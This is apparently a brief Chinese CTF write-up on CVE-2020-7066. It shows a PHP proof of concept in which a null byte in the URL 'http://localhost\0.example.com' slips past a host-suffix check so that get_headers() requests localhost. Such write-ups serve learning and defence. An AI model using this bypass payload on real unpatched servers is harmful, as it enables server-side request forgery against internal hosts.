题目复现链接:https://buuoj.cn/challenges
参考链接:GK2020-CVE签到题 CVE-2020-7066 PHP7.x get_headers()

影响版本:PHP <7.2.29 <7.3.16 <7.4.4
get_headers()会截断URL中空字符后的内容

<?php
$_GET['url'] = "http://localhost\0.example.com";

$host = parse_url($_GET['url'], PHP_URL_HOST);
if (substr($host, -12) !== '.example.com') {
    die();
}
$headers = get_headers($_GET['url']);
var_dump($headers);

localhost不是单指127.0.0.1,而是符合127.0.0.0/24这一网段的IP地址

相关文章:

  • 2022-01-05
  • 2021-11-13
  • 2022-01-06
  • 2021-10-11
  • 2021-12-13
猜你喜欢
  • 2021-06-07
  • 2022-12-23
  • 2021-11-25
  • 2021-11-03
  • 2022-12-23
  • 2021-12-29
相关资源
相似解决方案